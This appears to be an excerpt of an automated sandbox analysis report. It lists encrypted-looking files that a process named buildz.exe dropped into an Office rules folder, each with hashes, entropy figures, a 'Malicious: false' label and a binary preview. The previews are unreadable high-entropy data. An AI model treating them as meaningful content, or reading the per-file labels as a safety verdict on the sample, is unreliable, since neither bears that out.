SHA-512:	B7509F1E6554D342ED2750D99D1CC148799E8BDBA938AD61F5617AF1C034F75E453ABBDC92F82A56E506B49D151C9CF5F4D47C850201C34E42E8E3CBA35A7B76
Malicious:	false
Reputation:	unknown
Preview:	.<?....S......<}....\....6.... ..}...`...j..\|.O..T.R.Z.2.J.]^..'..Nu...3c...u.."-.p4..v..e.K.%!..=...E.6.2.'.uv^?.7.......U..t...........B....0.N.}.s....R..NP;.W....%`...OE..p.2..#.#4......S......i.g..".H.F...E~M.h..........#NS]u.xl.....R.Y...s..(m.4.Q.C.....~.K.j.......'.!...4..\|!..o.hd")}l.\@.{x...g.~.....@;0P{.......ju...+.V....<......./Y).L.y...7..+.]....vUH.[O\|......./..J...%.E.l...>#...@....NP.......>_.%..z .+..<..b...c.%.. 2.W.@.`.....q5.!t6......:u.0..5.\....c.v...l..x?Z]x3...b6U..~...}.&Ft.3...?..H.j.W..._.;.]..m.Z...'.}..D..........k..^5o.9q..6X..'.b....S...,GB..Hn..qr.i.wc.`Fo...Yx.J...!f..X.t.Chf..yUx9..@+..v.5.&iK. C......[...U.)AV1<.c.0...."q.4.eC3.8...d...Su.^a.B^.UQ....&.y..Ia....c?....z.4IS..5....@U.I.M=[.u.D_.2BC.e../,L.,...6A`zi.uL..P.[....%.PAR.i.V.WV1.V.l.0.?-c..0AHA.Y\...@.e..........S...<Q......c.ii.=.`.2u.....%.3...li.Pq.D..Z[.>,...-*n.i......r..!=.?!..f......\..(..C.....V.vg.k.@".x.y..Np.Z..........5.(..F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.887513496514642
Encrypted:	false
SSDEEP:	48:B21DZvTpwPJTrqQMNhYXYTDMzA82/ROv5xwD:Q1lvTpwxrqThYkHUv4
MD5:	2E9465B51653978C8B2F2177D8CCD4FB
SHA1:	F013260ADF2F453743082C21BC0379F519FD98D3
SHA-256:	9282BFF148FFB6935C0D047B59B33D6799971923D85F54F7E238333491448E4C
SHA-512:	C3B6F95C673BE8BACD1A67CB0C2E7EEC58D4A2D79D2095071ECFCFECB1412B5D7691200C0AA8553B09598C11C6B0BE592BB17A98389AC67392FDC80073927B88
Malicious:	false
Reputation:	unknown
Preview:	.<?.g........u..e.;."p.......8..7 .O".m5..!T..;$.9.8;..T..<b$\.q...l..h.Fg.+..5..%.+..".....Ns.n..He.H7....9QX.. \|Id.-.at5...T.-.m..a.{...F......./n..c4.n.H}..N.K..cyo.!....k..0..&..M.]..V..i._.....r.8j....... .e.}.>e.^..a..p..."Y.l.)>._...R....Lh..0...&K...D..r.......y....>.1IB..`.$F...[....,.s\b#...t.u.qR..G..<..s.n.>W.,8.".}74.zeX...K.E80.\|;.N.\|`.J.J.)d....D...5....c.Y..i.".j89.....Tv.J..../..n....F...y=.-.o.....#8..we....l...hF=;`v.....N0.o...,.;<..@....].In...Y...V....G......p.\O..>.#Y..$.uB.C......X((,5..m?P.]&u..R..<.?S=.N....5.8.v........~...T/..'3PGX..+......'p ....._.&9:.}..E.tj..C......Di.Z..\|4.:[.5.1.&\...-.....3R)....]...)....?.R.n.wn...Z..o.\...Y.F.&.......!.8+....n8...g.k\|I..i.$B..."m^Q....O.......y..,...^.5....$.v#..u..:^.S...b.B'..~>.....I.+5K.R../....u...Q~.9.i.......a....Ox........2. .h.)1.....<./m...T....yc...b.[es..gq..T?....4 .....J22..8.$*.v....F..p.......5.nn1.....U3"..!Y..Q....{..R..j.<.V.....;c..~.y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.895010016557064
Encrypted:	false
SSDEEP:	48:yQenl0HA4e/gn3hr5b6q+nJVgGrJHiyLuB+D:BA4e/WhroHDjdnL3
MD5:	B84ABFDEF852ECBBE8F5FFB8B266E9A4
SHA1:	9BE21BB894952EB676A4732923B527D593D74145
SHA-256:	BF633AD392ECD88AF8690175D86DC213F30AA424595E874052A78CD05817E012
SHA-512:	8E0DA6AF15804E20209B01EAC8FF3C4F513914CBD784F0D14184BD26CFFB9891EA94958A61642780D5BAA951935C5FB722F66713FD1914D5B47ED9A111033F1B
Malicious:	false
Reputation:	unknown
Preview:	.<?[..'H]........>W..zZ..hy...%y1B.r}~.X\i....V%fR..O(U....v.. ..3.X+..g.3B.T..=....q........X..0."t.rl..P".?.l-....?...h..n.;.n~.].fo.........W-.....".!.EtQ(..+,y`.8.h.....A..G...jP..\E!4......I.9.....yw{....Kd.)...U.I.V...T.+K..n.8...t.....C...#./..X.\1...m<...)6..{i..mj..\|..TS.n...C=.c...xA..Y....@.r...R_'......M..._.@.<....J..]...xjf.O%..o...yLQn.pd\|q.\|<\|.$...+..a..)...{..?...\O.8i'..b.....kV..X..S.J.`....q......R.,...5+/.,.:.Y.R..x.lyh..x...8..)..[.=BA..mQ..6$h.=...g..- k.D...)e]Eta..._.I..#...'.}.7....Z.03u.".G...'S..:..$.h...Qq.C...8..}.:`t=.x.....{..SIsIqRq.x.#.U..E.L..vn.NE....7...P..z...c.LCG.~l2..-.........7W.`Rn........`...>g9.....'.,.?..{l)_...wC(^\|y.TE{........C!`.....?.g}.g.Q..A....$.(l....U....."..(....ch..S.G.5.._.......h.%F....p......;.%....[......u.TQ.HO."...Xc.....[..S...3.G..UnUZ..1.~...t.-}._......{.C-..Ad.. 1..uMc)..+,.Fc.%..+.=+L.Mv<....7....U....(>..e.V....x.,.m.i...@..Q.S.....J...<zr&jK.4...t..m.l9.X.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.894349403283992
Encrypted:	false
SSDEEP:	48:nS5MALyFtCAcO56ewPYQxoKetKbcztLZAPDTk2weJBrkuD:kMKyFtCAJ56eFMcBc/1vwW
MD5:	AA14434D4E77398FCADED082DE9B5300
SHA1:	95072F6995910BA1D817F7F832D81FDD0C9B1409
SHA-256:	ECAA8FDBF7BCF3CF6963D5E7559671736F67FC1645F10DB18904385A104786AE
SHA-512:	B6C849B4361F5DA8CCA6A1CE1D70057F7FD06391BA180253EC7E47ED009B150BC4AD1ADC648FB325CFD9AE1007C8C11A6131A867CB53DC664B64169AB304DB9B
Malicious:	false
Reputation:	unknown
Preview:	.<?W.......L.A%....m....Z..`"..!0..Cw#...kv .o...........a.....%E.d<..<.".-AF..~&.!..n.9Q.j.]z..p...2..c......hF..]...&8.?'..z.2...7...6P......o"'.l...#...B.....HVW.^.Z.\|o6...J...GK..>..V..?.91U. .G........dL....._F.?o:...J.=.e.k..Y.J......i..h(.....#T.?@Ag2.t%.)....,0`....rR0\.....YSC.[...S.xb?.......?...{..O...{.y.K)..z.>.e....T).1&-T...4/._.9.\|..!G...e..a.58..[..M...q....)...a..7...a.4...J.7e.E.TK3.&..lC....../k..b..(.....v\...t....q........}r..4.........s.h....,.Rr.xc...z.....g.....yc;).j.O..FG..G.....N.Z...]r...... .$..n...).[.......s..).e!'.....YLR.m .wrn.(e.......:v.G#...Z}.NI.Y2...w6..w.~..Jc.3.t...i.P......V..m..Rw.).q....\|.y..j.A..w2..2...d..s.....x......t.y0.4..fZT3...........y......RD.,.E7k`8..H;N..fB........}X......J..N......GR.G`...r......D .%....7..'-.,.u..L..^..M..n....H^...1.. ._.2TY..{..q<....(.[...E.vS]i.w5l..].Od......49)._..$x...*.....I...<..E.^...t..G.; ..16..Bg.</{..Rj..;.D?.(.>.d"+............\|.X1M.....,+{..'G.j.3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.877432728207209
Encrypted:	false
SSDEEP:	48:6IVGEWkhFV6WMGIxt/uVMSj94ZAwU5p6WS0aD:hVGEW+F4WMLt2VDj94pU5pq
MD5:	7997A9FDED47E2392D61A076FEB042BF
SHA1:	4BB14575F2B8DFFDD9F6C65DF38D94F5BCF04849
SHA-256:	6F9F25B2C551A73F8E2EDBBEF7641DD75916CAE5383F0350919C75A408A7F67A
SHA-512:	182A32936B2E7B20EF27FDE24B607ABBEA4B3E43EB9B283F7B62F58EEF243ED2079B0701E1C77DF052DA3B1806314D235A07D32A335D8F5A06A778D5E545257F
Malicious:	false
Reputation:	unknown
Preview:	.<?...?.Y"..'...>..Ay3T9.XX../i.Q}....$...O..44.#pN...G.z...Q......U...m.);......(.r..nE..%..H..A...1\|.c.n3..`..&...j.L.HTa9.\.!^3..p......P~:.i].r.#m4..Z.2p...HT....+..y..?.3...)K...G....`...,7qe...m1.9.......vD.......a....k$W......V....5g)e..X.F.O...s.#[....Zx.@...9..-:..\..%........q...5%{..lK...,.t.....\|.m./.Z....yC..oW..n..-<o.7.Adt.[B-.e5.T@....p.....@....b..4.....{.....s.....f..##6>..].!.....\8.4...z.;.].Y...Frz.&.0.....`./p.m...)(....B.7....U........?U..,..!r.c...C...\=..9.i...v..>N....}8!D.."}8."@....'..B..@.....$....O.r..k............,`...p...p.]...%{.$.._....7(.+#.BM~.....?...=.E.D..G.PN..'bg..#Y..........=Z.9)........q6.U.:`U%....u$.oY....!.yu-.P?..!.;e......~..A!.(!.F.o$.....DAaP........{.............%-*{......z....8K...5......%....(...8...X..........'.l.\|.\:]...JZ-\..7..&n.}...s....I....=.fq.&A&._.....@.pZ.........h>.&.t..Z.p.+..]?.E.9..f.B.?hL.z...X...Z.....{swm:.w..5rr!.i...j\|HV.9...!......6q.B.L....?Y...@S.W.C.K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.889860874198511
Encrypted:	false
SSDEEP:	48:FMfz9QZoGb0CP5ylgjnU+n4UO7kSdDM4IFu4IBld8S4+j53TPOUtOwD:GPOwlgjnlCw5Fu4IBl34Ufr
MD5:	42B0D697954DFBEF84A503F9FC1A87E0
SHA1:	EFC1A8F2BA9CCD4BED62FE0D58A79BDD7639DA4F
SHA-256:	06A705F936553F1A8E7A2098702827B82A1590FE6B363B050E9A0CD4BD4CDCCB
SHA-512:	C625C52B166ACBDCAF348751B624D67A95E97B272F4812B33304F46195F12125FF4FF03593172F5738128DC1D8B4CA56B32CDE1306EAA028091B55451B0B100C
Malicious:	false
Reputation:	unknown
Preview:	.<?.....?.P......;g.g/...0.@G&....]^...hTf!.O.i..\|.....+..%^=..\...>,.7....AS.2t..S7.....?......YeI...s..#.....}..3h.t..;.s..{Ys.].M.A.....sb.3D.... .v.._.,..>......p0.jr.gG 5...O.....!..+;.&..[/.h.!aY/r..Ag..W...8s.@]..)}T.0..^....S..yOr.=".-a.`....a.1.a..z>W...<<X...1j.4?84...;......e..........}....;\..1V..`1.J.Q..]........$.j3..E.L.x2...2......B...?.TZ'e...^...Q]..y.,J..W..y.........j&..z...\..}.."W..s.P.....w..%...(...9...rW.<.U..N.....`.=._....9.j.u....."n..D....Q.$..t.k.uy.h........O.;...u28....i........l.2?..7......f.R.K...d...(b.y...-..S.M6u".<.\..z...~:lvE%c......Q.P.l...J....h.S....6.ofh.).B..HK..\|C..-....R.N.G.;nE...'....A...G.vip...J9[..le...!.7\..T..L~..DU/>...Q0..6..].. k....,.....4.3.6.....k.?...BI5V.&U..^..g_..1+.....M......6.f..jA...u;....x.@u...F..(.....Z.....Oi..@f....{.=B.%..`....%\.o .K.. ..Y+(.7..k.!.d...........p....\|...!\|l....`.l7d..$.u.^.o8)...m.....7.....G..%...+.O.0....5+oXC$...Q/.Z......K2.&.$.]N. ..D.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.889178728383825
Encrypted:	false
SSDEEP:	48:YT6Bo90h7gDfKfeqs6TeUbg/7DvMPoFVD:nBo90aDsJeUbIHMPoP
MD5:	0833B9736C74487F85628517384E00DB
SHA1:	AAA503795C9919896C2C2582002BB037B00B0BA0
SHA-256:	A61C75F7BA106AF13DF147C6C6945215EFA19ADF2E9BB5E77C2F1AF79C0C7A29
SHA-512:	75A5FFF2CB9EC277E6B618088EBCABDD5D464E0317EC77FF0829AA95BE5615CB0D8D3537E0B05A0BF2808F4486E351687E34767124865DEEC8FF49D3F5212A36
Malicious:	false
Reputation:	unknown
Preview:	.<?O{.".....VC..I..$.tze..eH+.l{,.8(..O.M..}'....O...(.N.8....T;>...[.....1. 1.,......ya.E.I..@....edD.).d.08.....UF..X..\|..U.."...,X..K.I.:.r.A.,.z....f#...<Ri...P..:..m.....P.........?&..2...b.s.....%.-......g.Y.,L ..bM."7.............(.*[r..L...]wx#.U.p.=[P.....5...R._...%\|\|.....s.~A.{=..P..;.\.I6ic........7.....U.!...7Y.O..'..9!,.../..S..e..p."......&....L..+......$x...]..X....1...ea.j.,..`.....pi......z.s..G.....r.>...bD.....e!.E..../...:K..+U...8...0/..-...3..t..?.....`.bL)n........C...........n.._..}.+.....M.^Y4Xh...e\|.#...4..1..h....b.m....%..../....G.C..W.#.E.a....<.n.O.......m....j...iD..{.#..~...'..h..n..P.=.......cr.oHI.....u.....[. .[JR7..ITB....1.....^..a)..ZN...eYJ.a.j......V+..V.AU..i7..e..ZHw.t.;.G6.../..TE.....<.M.^t..5#`....i..>.z..-.#.p...)=3.. ...X.-C\.%....Zs........9d.]."V.....$...e.... .e.s..Q.D.6.x....^......}4C.8.x..".H~W..Gb..V.>.u8z....m..d.,.m^..4W^.....\.s.{./..h....Q..Z.Y..w...M....R...i.._......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.885236183911221
Encrypted:	false
SSDEEP:	48:4kqvlYBcH3NPJUaaRinE0VzuQdtrRoR/gGMjwhhn/T8D:UUsBUaaRgEMuQnKVgGMjmU
MD5:	F03BB2DE8EC759DDABE5D7D19F79FF91
SHA1:	8500AB4E7A2EBB9BDBB5366DB00D0B6D9B7BEB6B
SHA-256:	E2616FAB91209585CDEE08277CC292B774817C7550B225C24D841AD696145094
SHA-512:	304A06E5520BEEFFE3D0A6F3DAD6AF62DBB325050E2800352D8F8EC8B6D5A6A0A6DF3A728E0AC48FB96B5FF1DBA91AA391C7CA473683218403E69FC0EA879026
Malicious:	false
Reputation:	unknown
Preview:	.<?,_.IU.AfeB.....;:.I)..U!}...3..41/..5.(.~....p.D.........A...y.E.C6.-.......6].....gP...y......e.u.......tLTq.....G`.P.A.K.....0p...Y...(1b...{..f{.m.s..@.....[y..5..K.b~o..[%.f.8(....r...x-8;.$.s...R...O2\......T.......5,..}.:.m.r..9.y.2w'[....$5..ax.O......@...F.k!....n..6N.q.h[.R{,#u...X.:..h.....l.+B.Q}m..X@uf..DF..Y......,s#)...U.C<:...W.6...:......e.cBc..0<(.X.>.[.........5...%..I....tr...mc'...........a.2C..f..._l.#....z...'...O.G..hpd..Ic.Q..Z.4H.C.B./?$ut....4....0..W..u.{....j.g.z+....d........bf.i.I...... ?.d.\.t.m..;..U.?.y.....U.]W]]t.S.<....$\.c..cb.7^.%..$.T.:5..,.-...Z..........K.`#M...i.1.z...'Iy. ..B...I....j.....Y.H3....#o.yv.Z...3....LQl.r...'...K$..x.{HnH..X..s.....oE.=..uj......F.7I.?..X...C..W..P.Y. .....z.Rf"...q.Hd.....H.....@w.f..i.K.........e_.p....C..{.V...hQ.f...T_.n.M%....S.!g..(.F.}<......J.v.s.U.<.=u.n#~...%...y...MG.P.i[u.......H....M8.#.....?..h._DmW......i%.]o.p%.NCLms.zV...M..{T.z.O........<... ,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.877145004786481
Encrypted:	false
SSDEEP:	48:CXqz0+0KkVWzjkGuyErTs7CDtsioQzYebrTG9fa9D:CE0l8zjkG8ro7Ctsio5ebu9iF
MD5:	C998558BE20C73F7C05935DD54BCE232
SHA1:	2F9BD380FA2AAF84F270316550D2F9EE76876F07
SHA-256:	D3884C55AF2C7A1372B82E90D0B937B31B5DA586BB4782D79618F2EC48474616
SHA-512:	ABEEB0870E3164C7447F70C8C7EA65CCEBC861E8B27801C686AFDBC1FE2AF018F682E10A8257E2246A6161A6B15746558BDEC2A5E07DA698ED4979A36BC80524
Malicious:	false
Reputation:	unknown
Preview:	.<?.rK.n....t..\....oE\|..}.....U..z..0.g...B/:Qo.y]E..0.<0e.../...2...O0...8_.K.L.7..Nd8.gT?..]...W....iZ. .P0...?.8..%..>.%..x.s.....t.B.!.......H..P....ScB...S.}..#...[.T...EvR.............WI..2A.........."cq......v.X......[...8`0.0..Y......B.....!...z'....0./.n....\|D........../..K....8{.........h.g.s....qB....-...Q.<..@.h.$....m.mY.2..;tF.........c.e....:.....'..O.V.3..Fo.z..@.E2}...+....,:D..>.9....a..m..].p......?..J..'p/?.0..Iq..T...../.)...j12.}6.x..\....SF......n.TE.O.;.%:L\P..\|u..=...M...r..1IY]..}..cm.......a...z.............E..S2..A..X..KdQ..O .;.P&?..BU..,..M...S-....}.=@.y"3..!.Q.d.s#.NB.O&....Z...Q.[.._.%.......nU..8....!...+.R.....t....=.......Y..s.....+.!.T.g6..o.(...o\...z..[\|...[`,.....5.j..+.H.%Z}....k6..6.V................,..i..Ch.b.e....v.<^....#6...P.vJ..$.>pS...}0.\...#..WJ.....Vs.Vs..O.E...Pj.1.)...j..4...q....H.4w.....lI.....<C....;...6.z.-.....!6...`Z.m.c........(.....m.1`..`......O......@0?......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.884439535705807
Encrypted:	false
SSDEEP:	48:LwR9hr6U8POicmG+FCzxKBx8wa/zphP0BD:kHkUViczMAIQ//s
MD5:	D60EB690F71919122846790352F921C0
SHA1:	5244A8D7D93AD94B01B362CEC6CB45152D5051C8
SHA-256:	823CDC7C1ADE8D160B54102BD16AAF3A703DEE95474C894811FD7E8C1FA4390F
SHA-512:	3260B68CE1421F7843A86823FB4D416303238BC3574A3E8C87060F125DA603D55740832A0650F7D43122007A1F114C76586E5B1B9EC86047AE1B2E90EDD46AE6
Malicious:	false
Reputation:	unknown
Preview:	.<?.../....K..n....~..&...4...x.Lq....B.b.....P.l..k......l.yG.$d\|]....a.~....,z...AR.........T.kX....2w.'.D......w^).0k.i.8ucL...q....F.V.....c.uCC...z.7..>2..SX..(.m..n...f.e......l.SH......,6.$....$.c.2UT..%m....:.$j..g.]..D~...@.b%t.^C<....R..{......Q-..s8\|.q...pC.".:+..e.4.E..r......{..l.=...Qk.w..Y....2...{+.....F."f.puz...4..... .P...%8..}."!i.5.v.^.!O&.....S..7.{........(./...2.'Fb...s.........C.-v>Ni..]q/..A.VmL....D...p>~.Wo,.>..B.x..}.avYF..;...@.RT^.F.')..W...P.J....Xm.\...../.....K}.u.....\|....P.B.9.!@l.N....r<K..sk..I..IF..{.u.Pz.Rx)..[..u...?.......~Q...>..xj......X......" .p])....s.S..VD..1Q.u...>........:=....[,/7.a.M...M>..z.".. ..S+.AF..6}.5;.)..q."...Q..E/0Ul.g..k.z.9..Re..3..[...Czx... E.w.".......<.^K...p..c.U.......R...=..^.$...M........)..z.9.;..yOa...O....7..&....].......p[..A..SS.TM...n....@......L..o....+...}..]...g..m.i.'u=?.j])..4.`.=E.[M.%..>,...wk.....u.H.....\|Zh.......e....:.EA.}dN..b.&......./.J L..w.bJ.at

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.885517907183865
Encrypted:	false
SSDEEP:	48:HHJ8meYQs4CMG0ltTeRSaKD9FSnLQlbYD:nJVhQs4CUTySa2SLQC
MD5:	AB3E3F9D65208E31EFCFA5F66BD84D62
SHA1:	0A9943E8D7F50EC58DFBDB318C3BE9F13F84E17E
SHA-256:	3332100AD4AC3515869185B2E6AC1FFCAA58693B7D757B3DC286A216BAC5D8CB
SHA-512:	F0C266DB2467E2A22DB291D02AD7DB982F3012E3E33EB4F53EEE37D984210A9FA9E644FF2731750B44CF18B38AF5B5E9A96351734356BB1CE49DC94BEE55A1F9
Malicious:	false
Reputation:	unknown
Preview:	.<?....).N.h3..i...w'... .e0F...9.......h..x.:..$a....I...kf)eb.u.....h......\|...^.....d.`u.ug..Go?...4...t.....C.sk:+....d..(."......g'h....z.73@--..Up=g7...?..p.Z..D.....#\|..Z...-.>...o[..,..ho...0.C..I..9.j.D.....%\I...$G5.....\|....yy.w.'.&.X.6._.8s.{...+..s..vp..#i.f..m...y..z...#.}.......,...%.kGy6......ze..#.!%.%;.v....8-r.Z...q.`..Q.........x..1#..l.....p.Mu...;.NU.U....".0.p..`..UL.......#L.D...Kz.x.....S.::.3k...Rr...~....._..qt.....W....,Ul.......P../ah.-".$.Tkl.D....%.?.Q<......;IQ.s.H.x+YS.C.......9... /.3./.,+.=..B..ih".9.i)L...Pv.p..~..=....`..!......}..j..T...#I.M....\|......,.w.o....>....^6."u._0....'L.\.y\Q..~x'.....UI.(4\.Zdr.7s,..9_......J+h......]...b......Q.uo7.aGMR......r&...XA.+e..P....,..L.r.B$.@....>..'.K.b..j+]...s.Q<..R...KH/..&0.....uP.._..._.....W]....e.p.N..u.!6.....9...1..td.....x.".9..%.."WWH:..%..\...R..+......R.(.....g.DX...&l...E}....g.>]C......*.\....5u.'.up.`...... $.."..`...#...,..P.[..'b..?h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1771
Entropy (8bit):	7.891118574280715
Encrypted:	false
SSDEEP:	24:v+Om+xCYyV+miljgLGzL1tynYVh7pO5VL9jQu0joAyaY6INa+AGE17X3fcbD:mOzx1miqqL1YYgPLx02Na117+D
MD5:	17295915E8743D045C2F93A18E0C95C1
SHA1:	411B449B02B4A3893D21D3C0B514E855C07C2802
SHA-256:	04D479222E5CFF73203D68C2DDDD66994CC3A8DB678124A9227541ACB240C162
SHA-512:	9299F765F02E947F3FA3D577E6ED7A8990FEECCDE4BD439F928E83FA3653ECD577A08710E061CC582FC4E69D7E32C6F9925BEDA94B253A4798C5010484C00E4B
Malicious:	false
Reputation:	unknown
Preview:	.<?+c...N=.,.uG6...y...........x..&......nN+..g. ...7Rzd....8.B.......Hz.K.Q...C!<L..W.I.l.%......<.&~...]..;.!.%i.....s.%......8..j4...R..wlB.f.6..2.....@>....7.H....)....`g.N...9....B......"...9..=.vR..dF:AG..x..D\....>...4...&.9TkZ..lb...Y).$.~.N....}...1........o..\.2G....!.A.'.I.A..!h.c..o.x....8g.&...>qI.\..<_1Y...~l...-..Q.......y.SlO..Y.........D:..........G.....O..9..U..."q...\Du<.j.YG..<..7......na.d.Ew.:m.5..._..z.....^.@.6G.Y..p.h...C.W...39D.........}...L.......bC@..<....DGt....2.@..L#..[5..aI,.-2.t(]...k.M#..T.)B.o.0.Q.....D.Diq\B&..m.-x..R\|...0N2..^.....6@..Y.o.,..i.j.nH..m4[ ...0.t..!.)..w...ZS.Re..%.F.Q...o....gB.$.......>.t....YI........N.\G2e$.c..P.p.x.qP./...U.6..fM)..0.q...E.{U..Z.M.I.G.........%.vQ...=..?"Ij....qB...I....>I[f.....<..jG*.L..s{.+/?.\|.t(...b....2....4..........C..}.F..)q.....$g....U}0..40........H..}../.v..i._.....,W.y.f...4v.....Z.1.b.,.Lm.&...L...q.O..Xeb].t.G'.}..c!!...E.3.P..M.<..6Z...2..2...vO

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.890128443579151
Encrypted:	false
SSDEEP:	48:PygoN5FOqIUAKJInUmAYSA9whEU2E63TfBhD:Kg40lUADvG7haDfr
MD5:	F0D1282057648BB934EF49C8BEECEF23
SHA1:	410660978C5018DB2B0AEC92384915C29D6E44C1
SHA-256:	5AF65A6A70A6E5C050A51CAD2046ED8F481EC6D74790297A45012C947FDADF8E
SHA-512:	DA021502E3F54803EB43E86008D7DD1D29172AD88D89E15FFF65141DB3B8FA9EEC58A66915F336BEE26F437CECAB060C4A30F04D5FAB70C2C2529C61D3DD8FEF
Malicious:	false
Reputation:	unknown
Preview:	.<?p6.z3is..S...\...JE..t......@.?.....[@{...Gu..-.....6k.^..^t~.......Wd...`.....R].+...V...F..Bq.\|..@.4....._.....f.....J.c....B.(>%v...M...H.dau.`.............a..\|$l..].<.S3.._..UH...z..pZ9_.d.f..t.p......0.b4.O.......4......!.f.2D7Y......vI.W...\....".7.....(2..,~I.\|..D...6M0._f]..c.lSLq....2q..,7Z...-...B8....f.Q?.{d&7.sri...f..3.. ..........+~..".d...=7......W.J.c.14H...=bf........r?4.,1p.8....,..8..!rY..}.w(..v....._{.....;>.8..A8T.....y.\qz&............2..5.H..:.R.0... ;.K.A.....Op..]..Z.q.I8..3".!..X..........H.z&k.'...*)+q%..'.L!.c^.!R..jy.N...}..aY.m6l...vR.........0a.V..6..M........R.mG..2.%]cl\l.~G.zf.\...$..(..h]....uf.0.S5h..`vc}..P .9t..q...p..J.3.qL.Y...jn1vuTT..A_u./{.....9T].0..e..y<~....S.1...P.p.Fe&...`.W..P.=..!nPp.%.g(Rt.....C..T............._...^.J.2..5..166.Y..g.I...M..s.s.....U..m..C..m.97.){....].f...ry:...<t....K..O.k..9..f...- ..Y..VP.....P.........j7..5t53...zK.U.v!..-n..`...DG&.....\|..5.........3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.882995925915857
Encrypted:	false
SSDEEP:	24:ySMG+f7BIOc0HCzCHHW3XsXZSsC4KI8bAS+7Q1rg65pT+F0mVosTqo5Tg8oXXxns:ySMG+jBIOqn38XQSoCMxc0IRoHxnPoD
MD5:	E2E33D9AF504702B50DA6093CEBD8867
SHA1:	88D3C65CBD6D49C652D5EA4FE1848500F28FCCA9
SHA-256:	B450EA688B084FF4ADF6EF4201ABA0464E1E106BC87C367F355DC0467F753005
SHA-512:	0C5986BF11CF7912D68A131C2F516D30CD73A74A3822FCDF7A770E86C4BDAA61FCF00A31427EA234B5FFA3A76058DF43C8A2D9458D0BAAE51CE021FF2B147BC4
Malicious:	false
Reputation:	unknown
Preview:	.<?._?.f\..3..........8..I...d9Z+z...Gjt...!.}.bK6Nn....e.d.x..R..:..x8..B....h.....beN.....L....qV.. t.v9i..i.azB6.Y..<..&FW.I.d4w..).....x.I.1..@..v..e.1.\|+AT6R..2%..0....:%.).WW..Y.}.von.+.:r..&Z......j..........%..-.[;M...T..H.0...c..D../..........h.nu..RT.\|....e...L.HXc8%...0dj.EM........b:3.....[:.2.M..\|.....7Q....1..........p....E....S5..hC....#WT<t..%D^...Y..t.U..3.njkS.".Ak...i.F....e._....\|.....FS......>.4..'..<5....?..Lf..AYQ/.8e......r..dB#P..1F?..Z..s..8..J....)[...;.7b.......~...\.S\.k"/s...5e...!.....2..=..P.........BJ.Z9...n....A...$#"....b.}h.<lR...+k6.L....F.....(._X.......H....8AA..... .7....v..k{+.\|..Rx....S....9...B........s.gW9.............9._Q....T......:H..&...R.`Tl.]...m5.+.b..0A........d.a8Y..h{..5}...O{JK..0^.O.....Z....6..t..z.b.CE.p...k.i.xi2...MtX.R..+...>.jf]..K_.....G..3...%.g=vB.$3..n....eJ....\|..NikX...)4.....D~G..j+.4_...>:............FM..N<].Kd`.4...Q..E..p.-...W.O...g*..m...z4.hJ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.8954688924133585
Encrypted:	false
SSDEEP:	48:/lQWKnU+YvvIfyLBQsCP63G+SJ++de3amn/ZqofxsRuF54o/1G/D:/QU+kg82CGPbGayYopuusg1e
MD5:	ABCFEF0844E68438715DD304FA480082
SHA1:	CAA99F82FE3C3FF194A984BCDC3EB8CA3B058EAE
SHA-256:	8CC7CC4CD4872A15DA5307E73F8E15E988E6334DED525DE75A1EDFD67810928F
SHA-512:	500ED40FDC335E18981D5F7784E31EC572A8B0ED20CA2F32A40FD1D447247DB056DD3B806598CAE28F17F94AE14F095007F929E384806F3BE14A5082A266B5E7
Malicious:	false
Reputation:	unknown
